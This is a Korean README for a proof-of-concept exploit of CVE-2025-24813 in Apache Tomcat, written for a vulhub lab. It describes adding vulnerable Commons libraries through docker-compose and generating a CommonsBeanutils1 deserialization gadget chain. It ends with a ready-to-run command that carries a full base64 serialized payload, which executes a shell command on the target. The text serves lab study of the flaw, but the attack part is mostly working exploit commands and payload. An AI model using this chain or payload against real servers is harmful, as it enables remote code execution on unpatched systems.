CVE-2025-24813-vulhub

CVE-2025-24813 vulhub 환경의 POC 스크립트

이 취약점의 활용에 대해 많은 분들이 어려움을 겪고 있어, vulhub에서의 취약점 활용을 돕기 위해 이 스크립트를 작성했습니다.

자세한 내용은 vulhub/tomcat/CVE-2025-24813을 참조하십시오.

vulhub 환경에는 직접 활용할 수 있는 체인이(URLDNS 제외) 없으므로, 기존 docker-compose.yml 파일을 수정하여 취약점 의존성이 있는 jar 패키지를 추가했습니다. 여기서는 세 개의 jar 패키지를 준비했습니다: commons-beanutils-1.9.2.jar, commons-collections-3.2.1.jar, commons-logging-1.1.1.jar. 이 세 개의 jar 패키지로 대부분의 CC, CB 체인을 사용할 수 있습니다.

해당 환경의 JDK8 버전이 상대적으로 높기 때문에, 여기서는 JDK 버전 요구 사항이 없는 CommonsBeanutils1 체인을 활용합니다.

먼저 docker-compose.yml을 수정합니다. 이 세 개의 jar 패키지를 vulhub/tomcat/CVE-2025-24813 디렉토리에 가져와야 합니다. 다음과 같이:

그런 다음 docker-compose.yml 파일을 다음과 같이 수정합니다:

services:
 tomcat:
   build: .
   ports:
    - "8080:8080"
   volumes:
      - ./commons-beanutils-1.9.2.jar:/usr/local/tomcat/webapps/ROOT/WEB-INF/lib/commons-beanutils-1.9.2.jar
      - ./commons-collections-3.2.1.jar:/usr/local/tomcat/webapps/ROOT/WEB-INF/lib/commons-collections-3.2.1.jar
      - ./commons-logging-1.1.1.jar:/usr/local/tomcat/webapps/ROOT/WEB-INF/lib/commons-logging-1.1.1.jar

그런 다음 해당 환경을 시작합니다:

그런 다음 ysoserial을 사용하여 해당 CommonsBeanutils1 체인을 생성하고 base64로 인코딩하거나, 제가 작성한 ycpm이라는 도구를 사용할 수 있습니다. 다음과 같습니다:

이 체인은 touch /tmp/success 명령어를 실행합니다.

java -jar ycpm-0.0.2-all.jar "CommonsBeanutils1" "touch /tmp/success" "base64->print"

그런 다음 base64를 복사하여 이 스크립트를 실행하면 됩니다. 다음과 같습니다:

취약점 효과만 확인하려면 다음 명령어를 복사하십시오:

python .\CVE-2025-24813.py --host=192.168.137.132 --port=8080 --session-id=poc --base64-payload=rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX+AYIVOACAAB4cAAABpvK/rq+AAAANAA5CgADACIHADcHACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADJMb3JnL2Vyb3Npb24yMDIwL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHACgBADBvcmcvZXJvc2lvbjIwMjAvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAUamF2YS9pby9TZXJpYWxpemFibGUBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABxvcmcvZXJvc2lvbjIwMjAvdXRpbC9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQASdG91Y2ggL3RtcC9zdWNjZXNzCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA1TdGFja01hcFRhYmxlAQAceXNvc2VyaWFsL1B3bmVyMzE3MzgxNTIzNjYwMAEAHkx5c29zZXJpYWwvUHduZXIzMTczODE1MjM2NjAwOwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAACoADgAAAAwAAQAAAAUADwA4AAAAAQATABQAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAAC8ADgAAACAAAwAAAAEADwA4AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAADMADgAAACoABAAAAAEADwA4AAAAAAABABUAFgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAKQALAAEADAAAACQAAwACAAAAD6cAAwFMuAAvEjG2ADVXsQAAAAEANgAAAAMAAQMAAgAgAAAAAgAhABEAAAAKAAEAAgAjABAACXB0ABJQd25yXzMxNzM4MTY2MTY2MDBwdwEAeHEAfgANeA==